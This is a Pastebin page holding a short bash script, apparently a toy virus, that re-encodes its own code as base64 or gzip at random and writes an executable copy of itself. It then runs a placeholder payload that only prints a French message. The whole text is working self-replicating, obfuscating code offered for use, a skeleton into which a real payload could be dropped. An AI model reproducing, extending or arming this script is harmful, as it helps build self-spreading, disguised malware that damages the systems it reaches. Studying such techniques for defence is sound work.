Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- #echo -ne "#!/bin/bash\nprg=\$(base64 -d <<<\"$(tail -n+3 $0 | base64 -w0)\")\neval \"\$prg\"\n" > virii && chmod +x virii && exit 0
- function replication() {
- case $1 in
- 0)
- echo -ne "#!/bin/bash\nprg=\$(base64 -d <<<\"$(base64 -w0 <<<${prg})\")\neval \"\$prg\"\n" > $$;
- chmod +x $$;;
- 1)
- echo "$prg" > /tmp/z;
- gzip /tmp/z;
- echo -ne "#!/bin/bash\nprg=\$(tail -n+4 \$0 | gunzip 2>/dev/null)\neval \"\$prg\"\n" > $$;
- cat /tmp/z.gz >> $$;
- rm -f /tmp/z.gz;
- chmod +x $$;;
- esac;
- return;
- };
- function run_payload() {
- echo "je suis le vilain payload !";
- return;
- };
- i=$(( RANDOM % 2 ));
- replication $i;
- run_payload;
- exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement